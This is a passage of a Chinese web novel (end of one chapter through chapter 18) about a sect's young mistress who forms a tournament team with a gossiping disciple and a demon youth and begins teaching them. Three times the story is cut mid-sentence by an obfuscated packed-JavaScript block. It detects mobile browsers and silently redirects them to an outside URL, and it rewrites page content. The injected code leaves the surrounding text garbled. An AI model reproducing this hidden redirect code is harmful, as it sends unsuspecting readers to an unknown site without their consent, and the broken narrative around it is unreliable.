李玄琳和喻眠相处不算多,便默认喻眠会同意参加这种活动,毕竟大部分白云间弟子有活动总是想着参与一下,也好锻炼锻炼自己。她并不知道喻眠不同于大多弟子,是一个有事能免就免的懒鬼。 不过也幸好喻眠这次因为天道之书恰好也需要想办法卷入外门试炼弟子的选举中,便爽快答应下李玄琳的要求。 要是她带的队伍在比试中打败了剧情中大师姐和尤宋方溢鸣的队伍,她就可以顺利改变剧情中参与青山剑试炼的人选,影响剧情,实现拯救大师姐的计划。 喻眠高高兴兴地应下,送走李玄琳出门。 她原本以为方溢鸣是作为优秀的炼器师参加的青山剑试炼,那在白云间这么一个压根不善炼器之道的宗门里找出一个比天器谷核心弟子还要厉害的器修那的确是一等一的困难。 没想到现在听李玄琳的意思方溢鸣应该是作为人族弟子参加的,那硕大的白云间锻炼出一个决斗比试实力超过器修的剑修来,那应该还是可以做到的。 这下喻眠便可以影响参加青山试炼的最终人选影响得光明磊落,无需使一些妨碍他人暗算方溢鸣的手段,这样她心里也会更好受些,不会那么别扭。 喻眠高兴完,然后转头板起脸对尤宋道:“你可不准再模仿我了。” 尤宋也跟着板起脸:“不准再模仿了。” 喻眠有些恼,却又不敢再骂他,怕又给他骂爽了,以为全世界都喜欢他自己,只能生气地跺脚,然后转身开门出去。 她重重地摔门,将尤宋也关在门内。 屋外,乌泱泱的人群围成一团,高高低低的人头团簇在一块儿,纷纷往喻眠这里挤来。 喻眠看着面前密密麻麻的人群有些发蒙,她背抵着房门,健全的右脚向前伸去,不知道现在时什么情况。 人群看到喻眠出来有些沸腾,热火朝天的讨论声传到喻眠耳朵里。 “这就是少门主吗?怎么和我想象得不太一样。” “林小满每次传的八卦都不靠谱,少门主明明灵秀非常,一看就是将来会有大作为的。” “啊啊啊啊少门主真的会来外门授课吗?会不会一个不小心就看上了我的天赋,收我为徒呢?这样我就变成再传亲传弟子了呜呜呜……” “切,就知道做梦,要看上也是先看上我,我可是俊美的符修,同类相吸懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818712|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不懂?” …… 喻眠闻言莞尔一笑,看着人群中为首站在她面前的林小满道:“你引她们过来的?” 林小满涨红了脸:“不是我引的。我、我就是传了个八卦,他们听到动静就全围过来了,非要看你,本质上是你引过来的。” 林小满害怕担上让执法堂被围得水泄不通的名头后会被喻眠这个少门主惩治罪责,话语间在推卸责任。 不过喻眠只是笑眼弯弯,看到外门有这么多弟子为她过来她很高兴,这下召集齐属于她的青山试炼队伍不是易如反掌?甚至人这么多,规定却只需要一个人修一个妖修,她还有的好选。 喻眠轻轻咳嗽了一声,拍了拍手,清脆的声音让全场渐渐安静了下来,她道:“诸位很期待我来外门授课吗?” 本就不大的执法堂瞬间人声鼎沸,欢呼声络绎不绝,甚至喻眠还听到了先前在路上给她解释为什么她不是喻眠本尊的那位粉丝师妹尖叫的声音。 喻眠笑着摆了摆手,准备开始说正事,她需要在人群中找两个实力强劲的弟子开始组队。 人群却因喻眠刚刚说的那句话依旧喧嚣不断,欢呼着少门主愿意在外门开课,甚至有人在后头拉开了横幅,上面写到一行宋体的大字——“残疾战神喻眠开课了”! 喻眠看到那行字难得默然了,问道林小满:“那行横幅是谁搞的?” 林小满转身,看到横幅也是一脸讶色,回过头支支吾吾道:“可能是我故事讲得太夸张了。” 喻眠盯着林小满看。 林小满尴尬笑了笑,两只鞋尖相互摩擦碰撞,说话的声音有些低:“我说少门门主身残志坚,即使走路都不稳当站着还需要扶着自己的腰,但是依然可以挣脱我们的束缚而出,甚至有能力把李堂主锁起来,就、就被他们称你为残疾战神了……” 旁边耳尖的弟子立马指出来道:“林小满你又胡说,分明是用残疾战神的噱头忽悠我们来听你讲故事的,别想又把责任推卸给我们。” 林小满耳朵染上绯色,含恼带怒的眼神向对方瞪去,攥着衣角的手指收紧,嘴里却没有再吐出一句话来。 喻眠长长叹了口气,她隐隐在林小满身上看到了自己的影子,天天胡闹然后害怕被上级发现,于是并不舍得责骂。 主要也是因为她只是空有一个少门主的名头,手上却没有什么实权让她责罚林小满,若是硬要和她计较还得走执法堂的流程,短时间内她可不想再见李玄琳第二次了。 因而喻眠打算先向众人交代自己要组队的正事,她在吵吵嚷嚷的环境里高声喊道:“诸位,本人来外门这段时间同时打算带队参加青山试炼,有没有人愿意加入我的队伍。” 她话音一落,原本嘈杂的环境顿时安静了下来,连前排人交头接耳的动静都戛然而止,却没有一个人举起手来报名。 喻眠以为是大家不好意思,于是又高声动员了一遍:“大家不要不好意思啊,尽管积极报名参与我的队伍。” 场上依旧没有人开口。 喻眠呆了一会,她没有预料到会是这么一个场景,有些没有反应过来,怀疑似地再问了一遍:“真的没有人报名吗?我很好说话的。” 在场依旧没有人吭声。 喻眠鼓起腮帮子,门牙轻咬了一下下嘴唇道:“我要求也很低的,要一名人族弟子和一名妖族弟子,其他没有了。” 她没有说出心中希望组队的手下弟子实力强劲的要求了,她以为面前这些弟子是因为担心拖少门主的后腿才没有报名的。 结果面前人群依然鸦雀无声。 喻眠眨了眨眼,以为自己在做梦,她恍惚地看着面前的场景,眼神有些空洞。 刚刚一个个不还是为了看到她兴冲冲地跑到执法堂来吗?怎么这会一个人都没有报名加入她的队伍? 16. 第十六章 发生的场景对于喻眠而言太过荒诞,以至于她比起不高兴更多的是迷茫。 喻眠没有再开口说话,她渐渐安静下来,人群反而开始有了细细碎碎的交谈声。 “你刚刚不是说想要拜少门主为师的吗?你怎么不去报名?” “我已经报了王长老的队伍了……虽然参加少门主的队伍是很好,说不定就被看中收徒去当再传亲传弟子了,但是也不一定报了就能被选上啊,被选上也不一定能被收徒啊。我不太想为一个虚无缥缈的机会,放弃到手的王长老的邀约……” “也是,而且感觉这时候和王长老提出来中途退出还会得罪人,风险太大了是没有什么必要……” “你们两个且听我一言,在这次选拔中跟着少门主还真并不一定有跟着王长老他们好。自己实力强不代表会教人,王长老都教几年了,少门主还没带过弟子吧?她教弟子真不一定比得上这些经验丰富的前辈们。 更何况这次比试说是说师长弟子组队,实际上师长又不会上擂台互打,只是带个队教个学,真正对打的还是我们小弟子。若是师长也对打,那倒是可以考虑进少门主的队伍被带躺稳吃上一分。” “有道理。少门主可是亲传弟子,和我们这些外门弟子可以说云泥之别……她平日应该完全和我们外门平时的修炼和比试脱节,她带我们怎么会比得过王长老他们这种一直扎根在外门一线教学的呢?” “我说的对吧。而且啊,虽然别的外门弟子都这么疯狂地鼓吹什么残疾战神之类的……反正我是觉得少门主大概并没有像大家吹的这么厉害。她才多大啊,比我们还要小吧?再厉害能厉害到哪里去?” “不会吧?不说她能挣脱外门那么多弟子的束缚了,她还能李堂主锁起来诶。” “你哥哥我在内门也算有点小人脉,我可是早就听说了,少门主在内门一直是被宠着惯着的,指不定其实李堂主完全可以制止她的举动,只是由着她胡闹呢?总归是实力不如自己的人的锁符罢了,你没看后面也是轻而易举地开门出来了吗?” “喂!你这话也就和我们说说知道吗!没看到今天大家这架势吗?拉横幅应援,围观尖叫,当场造神,你当心被他们听到被骂死过去。” “啧。现在捧得多高,到时候少门主的队伍没有进前三,他们就能让少门主跌得有多惨,你等着看吧。” “前三?王长老,李堂主,还有清渊道长,这三个人的队伍她一个刚来外门的能打过哪一个啊?而且又不是少门主亲自上场比,还得看她底下人的水平啊……再好的老师也带不出朽木啊……” …… 喻眠听到了弟子们的交谈,渐渐反应过来了是怎么一回事。 首先外门正式的弟子师长的组队活动应该前些天就结束了,弟子们并不敢冒着不一定能被自己选中的风险放弃已经到手的机会。 其次有人诋毁挑衅自己。 喻眠容人的气度不够大,而且她并不像大师姐一样是一个笑面虎,听到这样的话有些忍不下来。 面前人头晃动,小声的交谈声从四面八方围过来。 喻眠尽力睁着眼睛试图找出那个看轻自己的外门弟子,却因为面前人太多,看了半天只觉得眼睛酸痛。 就在她刚刚又细细辩听过几个新的声线时,喻眠感觉自己的衣角被轻轻拉动了一下,金丝绵质的衣服磨蹭着肚子上的肌肤,有些痒痒的。 转回头低头看去,是一双虎口有茧子的手,手腕上缠绕着一圈白色的绷带。 手的主人开口了:“少门主……考虑收下我吗?” 听到声音喻眠耳朵动了动,掀起眼皮,有些惊讶,竟然是林小满。 喻眠有些有些想象不到林小满会这样拉住她的衣角选择她,她问道:“你愿意……为了我放弃之前约定好的外门长老?” 喻眠有些感动,她决定单方面原谅今天没大没小讲自己各色八卦的林小满。 林小满揪攥衣角的手发紧,耳尖也染上一圈红色,低着头迟迟没有吭声,既没有对喻眠说的话点头,也没有摇头。 人群仍在互相交谈,嘈嘈杂杂。 喻眠以为是林小满说话声音太小,她听不清,便用右手覆在林小满拉着她衣角的那只手,拍了拍,对着林小满又问了一遍刚刚的问题。 林小满这次轻轻摇了摇头。 喻眠不解,“嗯?”了一声。 继而是刚刚戳穿林小满的师妹再次地开口:“林小满根本没有被长老们看中选上!” 林小满抬起头,含恼的眼神向那位师妹看去,整个脸涨得通红。 喻眠原本在林小满开口请愿后想点头应下,现在听完师妹的话有些担心。 原先就没有被外门长老选上,是实力不足吗?那实力不足林小满要是进了自己的队伍是不是真的打不过对手,会不会取得很差的成绩呢? 喻眠不想取得很差的成绩,她要进前三,不能如刚刚说不好听的话的弟子愿;更是要拿下第一,迫使改变最终前往青山试炼的队伍人选,不要让大师姐因为青山试炼爱上某人,最后再因情劫而死。 但是场上再没有别人想要报自己的队伍了,难道只能答应下没有什么实力不被别的长老看中的林小满吗? 喻眠有些担忧。 那位戳穿林小满的师妹继续开口道:“林小满天天就知道胡咧咧,什么事情都往外说,长老们都不想选她,生怕作战计划和战术安排被她又瞎说说了出去;还有朝夕相处那么久整个团队的隐私,她也有可能往外说。大嘴巴,没人选,略略略。” 听到师妹说的话林小满的脸涨得更红了,喻眠却是眼睛亮了亮,问道:“那林小满实力怎么样呢?厉害吗?” 说完喻眠眼神朝林小满方向一瞥,只见她原本红通通的脸色略微好转了一些,泛红的脸上透着一丝丝的骄傲,林小满点了点头:“那当然是很厉害的。” 师妹又拆台道:“在厉害的人里又算不上厉害的了。” 林小满皱着鼻子很不高兴,眼神扎向师妹,喻眠却点头爽快地答应了林小满的邀约,师妹表情很惊讶。 她觉得现在的情况下实力好的人估计都已经和长老们组上了队,能有林小满这样一个实力不错只是爱传八卦的已经算是不错了。 更何况爱传八卦也不一定是缺点。她可以想办法让林小满对方溢鸣和尤宋产生误会,让八卦王林小满把他们两个黑料传得满天飞,狠狠降低他们这两个情劫在大师姐那里的印象分。 喻眠很乐观,又转过身敲了敲身后的门,对里面的尤宋问道:“现在我的团队就只缺一个妖族弟子了,你来不来?” 她现在觉得尤宋的神经质也是一个优点了。像他这样的奇男子,都不需要她刻意制造什么误会,就能自己做一些奇葩事,产生一堆黑料,再借由林小满疯传了。 “唔。” 听到尤宋这么回有些喻眠突然有些紧张。 不会尤宋不答应吧? 她没有想到这种可能,毕竟尤宋刚从二师兄那里过来,来外门后又一直被关在执法堂,应该没有外门长老找上他才对。 况且尤宋对自己也挺热情的,并不冷漠,照道理应该没有理由拒绝才是。 难道……是一心想进大师姐的队伍? 白云间以前没有妖族弟子,今天刚刚招来的估计也都被事先得知比试消息的外门长老瓜分完了。 如果尤宋不答应她,她岂不是连参加比试的组队要求都满足不了。 喻眠这时候有些懊恼自己的懒惰了,要是她向大师姐和李玄琳一样早早在外门挂个教书的名,她就不用像现在这样等大家都组完队才姗姗得知比试的消息了。 哪会像现在这样大家都组完队了她才拉人,组个队这么费劲。 “唔。”尤宋似乎还在犹豫。 喻眠更加紧张,心已经提到嗓子眼。 要是尤宋不答应自己该怎么办?难道要威逼利诱已经被选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818713|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走的妖族弟子吗? 可是她的灵气花在天道之书上已经花的差不多了,哪里还有灵气去利诱别人? 难道要威逼?可是作为宗门少主去威逼外门弟子是不是太丢人了? 甚至宗门少主去撬外门长老的墙角本身就很丢人。 喻眠在心里不断祷告求尤宋答应她的邀约。 “哎呀。感觉参加这种比试很累很麻烦呢,我还是不来了吧。”尤宋隔着门板说道。 喻眠心思一沉,感觉心中有一颗悬着的大石头重重砸向心脏。 她需要考虑之后该怎么让队伍拥有一名妖族弟子了。 可是在白云间妖族弟子哪里这么好找? “嘻嘻,我这次模仿得像不像?是不是把那种支支吾吾半天并不想参加任何活动只想偷懒的样子模仿得淋漓尽致。”在喻眠的沉寂后,门板那头的声音突然嬉笑道。 喻眠身躯一震,抬起头,内心先是一阵狂喜,感恩事情还有转机,而后恨不得现在开门把尤宋暴揍一顿。 这小子,玩她呢。 尤宋继续乐呵呵地娇声开口道:“我很乐意加入呀。和姐姐一队我岂不是更加方便观摩姐姐的一言一行,这样我模仿起来就更加方便了,这样的机会我当然不会错过。” 喻眠气极反笑,露出自己左边虎牙,不过还是沉住性子,说话声音带着诱导:“那你可千万要积极参与啊,本人虽然爱犯懒劲儿不爱参与活动,但是好胜心极强,既然参加了就一定奔着赢去的啊。” 尤宋被喻眠锁在屋内,他贴着门缝向外看,却看到人潮中,少女在窗外阳光照耀下一张明媚的脸。 她张着嘴说:“既然参加了,那就一定是奔着赢去的。” 粉衣少年见此情形顿时感觉心脏漏了一拍。 他脑海里突然浮现起了少女昨日倒在他怀里的样子,还有少女一直以来明媚大方的样子,还有刚刚少女认真给自己解答二师兄给他的符篆有几笔画错了的贴心样子。 “最好不参加活动去偷懒,一旦参加就一定要赢,我记下了。”他点了点头,声音轻轻地应答道。 喻眠闭上眼睛长长呼出一口气,她心中的那一口气终于松了。 组队成功,她了却一桩心事。 这么一说还得感谢二师兄,要不是他忽悠尤宋要模仿自己才能得道,否则这小子肯定是想要拼了命地追爱去大师姐的队伍当中去的。 现在好了,尤宋不和大师姐一队,反而和自己一队。 这下不管大师姐这次比试是输是赢,至少去青山试炼时大师姐和尤宋都不会同时出现了,她又成功阻碍了两人感情的进展。 喻眠带着高兴的情绪挤出了人群,离开了执法堂。 她又一次感叹自己的幸运。 在外门原本长老和弟子的组队已经结束后仍然有实力不错的人族弟子报名自己的队伍,也因为二师兄那里的巧合成功阴差阳错收下尤宋这个妖族弟子。 不过自己除了幸运也是很有能力的。 比如她答应的也很及时很爽快,不给林小满反悔的时间。 这就是能力的体现。 喻眠高高兴兴地来到李玄琳给她安排的这段时间在外门教书时的落脚处,却见屋外又围了一小圈人。 “你们怎么了?喜欢我喜欢得太上头了?跟着我围到我家门口来了?”喻眠说话带着莫名。 “不,我们是想要来报名参加你的队伍的。”为首那人说道。 喻眠却听他声音耳熟,鼓腮帮子气道:“你不是刚刚还在人群里说你有人脉,知道我实力不咋样质疑我吗?说什么年龄不大实力肯定不强。” 那人眼睛里划过讶色,惊讶喻眠竟然能在人群嘈杂中听清自己说的话,这是何等的五感,眼神因此染上狂热,他诚恳解释道:“我那是故意在同伴面前诋毁你,想让他们别报名你的队伍,给自己减少竞争对手呢。少门主您瞧,他们果然上当没来。” 喻眠:? 17. 第十七章 所以她这是因为答应林小满答应得太快,错过了现在更多的选择吗? 喻眠见状沉默了半响,不过并没有多懊恼。毕竟她是真的认为林小满是一个不错的人选的,有实力,也没有被别的长老挑走,缺点也是可以变废为宝的爱传八卦。 但是男人的话却让她听着有些不爽,喻眠觉得不管什么样的理由都不能随意造谣她,投向男人的眼神隐含指责,她道:“你不会觉得你这样的行为很不道德吗?” 男人误解了喻眠的意思,以为喻眠只在质问她为何欺骗自己的朋友,于是义正严辞地说道:“非也,我这是在帮少门主剔除那些摇摆不定脑子不清醒的人。 少门主您瞧,那些人根本没有检验过我所言是真还是假,不过来看看你是否是如我所说一样的人物,而是被我几句话轻易打动,被影响思想。 像他们这样听风就是雨,若是跟着少门主参加比试,以后指不定哪天被有心之人误导,将会成为少门主的祸患。” 虽是夏季,但是六月飘雪后不久的空气闻上去还是微冷的,喻眠吸了吸鼻子想要反驳,却又觉得男人说得话耳熟,就好似自己说过类似的一样,不适合反驳,便看着眼前众人沉默了下来。 面前一堆人见喻眠不说话也并走,只乖乖站在那里看着披着鹤袄漫头黑发的少女,等着她开口说话。 喻眠低头思索了半天问了个问题:“你们原先都没有被外门的长老选上吗?怎么这么多人都来报名加入我的队伍。” 为首男人向前迈开一步,热切开口:“我们可和那些畏畏缩缩没胆气的人不一样,我们都是愿意放弃原本定好的安排来找您的。” 喻眠眼睛微微闪着光:“你们这么多人都为了我辞谢了原本组好队的长老吗?” 人群却没有人再回话了。 喻眠垂眸,哂笑道:“看样子是没有辞谢了,你们是瞒着原先邀请你们的长老来找我的。骑驴找马,若是我答应了再去辞谢,若是我没答应也有原先的长老保底。把我们白云间的外门长老当成什么了?” 白云间的外门长老没有一个是从宗门外特地征聘的,基本都是内门的弟子去外门帮忙,然后记一个长老的头衔。只是有的人如大师姐一样挂个名,有的人如李玄琳一样在缺人的时候过来帮忙,还有的人如他们先前谈到的王长老一样长期深耕一线教学。 喻眠是亲传弟子,平时待在内门,和内门人更亲近一点,现在自己也是个名义上的外门老师,立场让她更共情外门的老师们。于是她听了男人的话并没有喜欢他的“上进心”和对自己的崇敬,反而有些不悦。 男人和他身后的人们看到喻眠现在的表情有些慌了神,喻眠却没有给他们解释的机会,反而又抛出一个问题:“而且为什么刚刚我在执法堂问有没有人报名的时候你们没人回答我,现在我都离开执法堂了倒是围了一圈人过来?” 看着人群慌慌张张的表情,喻眠了然:“是害怕在众人面前报名会被那些正直的弟子们看到,然后被举报到邀请了你们的长老那里去,对吗?毕竟这样就没办法骑驴找马了。” “不、” 男人身体前倾想要辩解,喻眠却再次打断。 “好了,不用解释了,我已经组好队了,你们现在报名已经迟了,请回吧。” 喻眠下了逐客令。 相比面前这些贪心不足的人相比,她已经答应下来的林小满简直可以配得上“道德高尚”这个词了。 “怎么会组好队了呢?刚刚在执法堂都没人报名。”有人不甘心道。 喻眠怔了片刻,随即很快反应过来。 是刚刚林小满报名时的动静太小了,人群那么吵,而她却是拉着自己的衣角轻轻地开口,可能面前这些人压根没有听见。 喻眠却懒得再为他们解释了,只是又一次下了逐客令请他们离开。 那些人不甘心地走了,喻眠耳尖听到了他们的垂头丧气声和抱怨的嘟囔声“少门主也太假清高了”、“就是说,刚来外门能不能赢过那些老牌长老都说不准,就这样耍大牌”、“喂,你俩别又蛐蛐完然后就背着我们找少门主”、“我去,你是怎么发现我们的打算的”…… 喻眠没有听到人群离远后的后两句话,有些生气。 这些人,刚刚想要加入自己队伍时一个个眼神这么热切,活脱脱把自己当作带着他们稳拿第一的救世主一样,现在得不到了就要贬低。小人心性。 喻眠冷哼一声,拉开房门,踏入房间,她相信自己会带着团队拿第一。 她可是要改变剧情原定的青山试炼人选、破除大师姐情劫、拯救大师姐性命的天道女主角,怎么可能像他们说的这样平平。 喻眠相信自己队友,也相信自己的教学能力。 她拉开椅子,坐到书桌前,伸了个懒腰,松松经骨,而后认认真真地为尤宋和林小满准备起明天为他们上的课。 她要证明自己,证明自己的实力,证明自己的教学能力,破除外门这些不了解她的弟子们的流言! * 第二天。 “喻眠,我是很乐意学习的,只是……” 喻眠看着那张楚楚可怜的脸,面无表情地重复道:“只是……” 尤宋娇俏的脸显得万分可怜,他道:“只是我是一个小文盲,真的看不懂人族的文字啊,没开玩笑求放过。” 坐在旁边的林小满笑出了声:“水母族大少竟然是文盲吗?太有意思了。跟着少门主就是好,能吃到这样精湛的好瓜。” 尤宋面上愠怒,水润的眼睛瞪了林小满一眼,但是林小满对着喻眠在说话并没有看到他的眼神,还在笑着打哈哈。 窗外的阳光打到尤宋身上,他伸出指骨透粉的手卷起书,往林小满的脑袋上拍去。 林小满吃痛,猛地起身,冲着尤宋问道:“你干嘛!” 喻眠幽幽开口道:“他在对你求爱呢。” 林小满:? 喻眠没有再去看林小满的表情,只是对着尤宋继续幽幽地说:“打是亲?骂是爱?” 尤宋转过头,表情心虚。 喻眠硬生生地掰过他的头,呵了一声,问道:“什么时候搞清楚是怎么一回事的?” 喻眠知道尤宋已经知道了那句话的真实意思,否则按照他昨日在外门试炼终点上那“入乡随俗”,拒绝她的殴打求爱法的态度,不可能轻易就拿书卷去打林小满,毕竟这在他心中可是表达爱意的方式。 总不可能是他爱上林小满了,对她一见钟情,于是用他理解的方式求爱。天道之书可是说了尤宋是大师姐的情劫,尤宋一定是知道是怎么一回事了。 尤宋眼神飘忽不定,支支吾吾地开口:“昨天。” “昨天什么时候?” 尤宋咬着下唇:“就是……就是二师兄后来给我说清楚了。” 喻眠冷哼一声,并不相信。 尤宋在二师兄那里的时间应该和她在内门执法堂看《一剑斩仙》的时间是同步的。 如果当时就解释清楚了,天道之书是不会写“可是他总是想,大师姐在外门试炼上就爱着那么多人,她真的是他此生最合适的道侣吗?”这句话的。 尤宋对于大师姐产生爱着许多人的误会就是来自于对于“打是亲骂是爱”的错误理解。 喻眠盯着尤宋道:“说实话。” 尤宋闭上眼睛,一脸羞愤道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818714|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好了,我说,是昨天晚上。” “怎么知道是什么一回事的?” 尤宋涨红着脸,瞥过眼神,不敢直视喻眠,他道:“就是、就是……哎呀就是……” 喻眠继续盯着他。 尤宋见拖延无效,最后还是眼一闭,心一横,咬牙一口气全部说出来了,只是他阖着眼眸的脸显得脆弱,说话的语气有些无助:“我睡前听到弟子们议论你因为爱慕一个外门弟子特地来到外门教书,我就因为“打是亲骂是爱”的误会以为是你爱慕着的人是我嘛,而且你昨天还邀请我组队,我就更认为是这么一回事了啊。 我就告诉他们你喜欢的是我,是为了我来的。他们问我是怎么一回事,我说出来前因后果后就被解释清楚了人族的俗语和字面理解得不一样嘛。” 尤宋自己也觉得误以为喻眠暗恋自己,还冲上去和别的外门弟子说这件事羞耻,说完后便不再敢看她,长发披散而下,遮住大半张艳秾俏丽的脸。 喻眠松开掰过他脸的手,尤宋下巴雪白的肌肤上浮现出一道新鲜的浅红色痕迹。 喻眠幽幽的眼神转而向林小满看去,问道:“你还在那里瞎传八卦?没有去和大家解释清楚是怎么一回事吗?” 原本一脸兴奋看热闹的林小满现下也眼神飘忽,没有说话。 不过她也扛不住喻眠的凝视,最后还是老老实实地低头道歉,再三保证日后不会再传这些有的没的的消息,也会把现在的误会澄清。 喻眠满意地点头。 现下便算敲打过二人了,想来之后教学时二人便会更老实些。 只是喻眠又想起一事,她歪了歪头,杏眼圆圆地看向尤宋道:“你既不识人族文字,为何昨日在执法堂见你时手中还捧着心法书再看呢?” 尤宋抬起头,秾艳娇丽的眼神望向喻眠的脸颊,他张了张口,唇色鲜红,他道:“是二师兄教我这么干的。我拿着心法书说不认字,他就叫我一直看,看着看着就认识了。” 说完他垂下眼眸,伶仃可怜地坐在那里,双手压着刚刚打向林小满的书按在膝上,手指忐忑地交错起伏。阳光打在他的皮肤上隐隐看见脖颈处皮下透青的血管,浑身上下透着脆弱和不安。 喻眠无奈扶额。 沈飞知都对他胡说八道了些什么。 这傻子,字怎么可能看着看着就认识了呢。 喻眠耳尖微微一动,不过二师兄既然已经这么添乱了,她火上添油带歪一下尤宋,被大师姐发现了也可以把责任推卸给二师兄。 自己身上没有责任,还改变了尤宋这幅被大师姐喜欢着的性格气质,破除了大师姐的情劫,这岂不是上上功德。 喻眠笑着看看向尤宋,左手抽出尤宋手中的书卷,右手提起桌上的毛笔在书卷末页写上几个字,再递过书凑到尤宋眼前,道:“没关系,不认字的话我来教你学上几个人族文字,来,看这几个字有什么感受吗?” 尤宋看了半晌,摇了摇头。 喻眠又笑了,她眼神干净,口齿清晰:“没事,我现在教你这几个字,跟着我念,师姐,浪漫,妻子,依偎。” 她打算先试探一下尤宋目前对于大师姐的态度,然后基于目前的情况制定改变他的方案。 尤宋盯着上面的字,跟着一字一字地念了一遍,文字缠绕舌尖,他读得尽显暧昧缠绵:“师姐、浪漫、妻子、依偎……” 喻眠听着头皮发麻,还是依旧试探问道:“现在呢?看着这几个词有什么感受吗?” 尤宋抬起眼,睫毛颤动,他道:“哇塞,全是极品双字ID。” 喻眠:? 沈飞知你到底短短一个时辰和尤宋胡说了多少东西。 18. 第十八章 林小满在旁边爆发出了爽快的笑声,拍着手道:”妖族人都像你这么有趣的吗?” 喻眠嘴角抽了抽:“你知道他说的id什么意思吗你就笑。” “不知道呀,但是他那个反应就很好玩。”林小满冲着喻眠弯了弯眼。 尤宋伸出手探向喻眠手中的书页,指尖细细描摹起她写的文字来,眼神专注地盯着上面的一笔一划,随后娇声道:“二师兄说id是假名的意思,这种假名越短越好。” 说完他笑着转头看喻眠一眼,眼含星光,像是向双髻少女展示着自己有在认真学习。 林小满不知道听没听懂,只是笑着说:“你这人真有意思。” 喻眠斜眼向林小满看去:“你觉得他很有意思吗?那让他识文断字的任务就教给你了。” “行啊。外门很多小师弟小师妹识字的本领都是我教的。”林小满爽快回完话,便抬起眼,向任务对象尤宋看去。 只见他垂着脑袋,乌发随意披散,露出脖颈处一片白皙娇嫩的皮肤。 尤宋听到喻眠说的话,也侧过脸看向林小满,那张娇俏可怜的脸展现在林小满的眼前。 对上她眼神后,尤宋眼睛眨了眨,眉目流转,冲她嫣然一笑。 林小满呼吸停滞了一瞬。 喻眠暗道不好。 不会吧,这娇俏小子不会除了大师姐还要把林小满也勾了魂去吧。 她心思一紧,想要收回刚刚说的话,话到嘴边又咽了下去。 似乎也没什么不好。 她的目的是拯救大师姐不是吗?大师姐总不会夺人所爱,强取豪夺人夫,还是自己宗门弟子的人夫。 于是喻眠松下心神,低头装模作样地整理起书卷,一页页压平皱角。 她努力降低自己的存在感给两人创造机会。 然而林小满这时却猛地拖着椅子后撤,她连连摇头,呼吸起伏,冲着喻眠说道:“三师姐,这小子他、他、他乱我无情道道心。我教不了他。” 林小满说完回看了尤宋一眼,却还是那张楚楚可怜的脸,她表情更是害怕,抬起袖子遮住自己半张脸来。 “喂!我哪里存心乱你道心了?谁稀罕你那一颗道心?我可告诉你,我的理想型可是清渊道长,有她珠玉在前,你又有哪点值得我存心谋划?”听了林小满的话尤宋十分恼,瞪着她道,“你不想教我就不教,别说这些话作践我。” 说完他又控制不住自己似的去喻眠一眼,活像是在给场上另一人解释。 说完,尤宋也有些困惑自己为什么情绪这么激烈,是因为昨日差点因为“故意用美色误人”被喻眠这个冒牌监考官下令驱逐吗?所以今日又听到差不多性质的话顿觉不悦。 林小满不理他,只是冲着喻眠疯狂摇头。 喻眠这下出来打了圆场,和事佬地道:“好了好了,不教就不教。你们两个先深呼吸,要冷静。” 尤宋见喻眠暗暗偏向林小满,他有些不开心,为自己解释道道:“是她不适合修无情道,别人看她一眼道心就破碎了,禁不得人看,和我有什么关系。我先说好了,我可不走,喻眠你邀请我回来就不能反悔,可不能因为偏心她就如她所言把我赶走了,我是要留下来学习你的。” 学习?是模仿吧。 不过喻眠还是也点了点头,毕竟他的确也不希望尤宋离开自己的队伍。 林小满深呼吸后冷静了下来,思忖片刻后道:“还是我来教吧,不能浪费三师姐你备课的时间,你刚刚从事教学工作本就需要时间上手,不要因为这文盲小子打乱了自己的安排。” 喻眠又点了点头,没错没错,她可不想累死累活地教文盲识字。 这正顺她愿,一来不用自己教文盲识字,二来或许也可以让尤宋移情别恋,不要满脑子都是她大师姐了。 然而尤宋却不爽地拒绝了,眼尾洇上一片红霞,含恼带怒道:“你想教我便教我?不想教我就不教我?你把我当什么了?哼,我还不需要你来教。” 喻眠又点了点头,尤宋这么说也没错,都是一个队伍的,没有林小满想怎么样就怎么样的道理。 “我那是体谅三师姐辛苦!你也是,不要光顾着自己。你知不知道你这样不让我教会给她添麻烦的?她本来刚来外门就需要适应,你别给她找事。”林小满本来冷静下来了,听到尤宋这样说话也被带起了情绪。 喻眠又点了点头,就是说,她已经很忙了,别再给她找事情做。 “答非所问。我问的是你凭什么这样肆意左右我的去向,把我当成什么了。你可别扯大旗扯到喻眠身上,我可没说我不体谅她。”尤宋横着脸,娇俏而生气,“没有你教我也有的是人教。” 说完他偷偷看了喻眠一眼。 喻眠点了点头,然后蓦得一惊,这人刚来白云间能认识几个人,哪来的人能教他? 难道这小子已经勾搭上大师姐了? 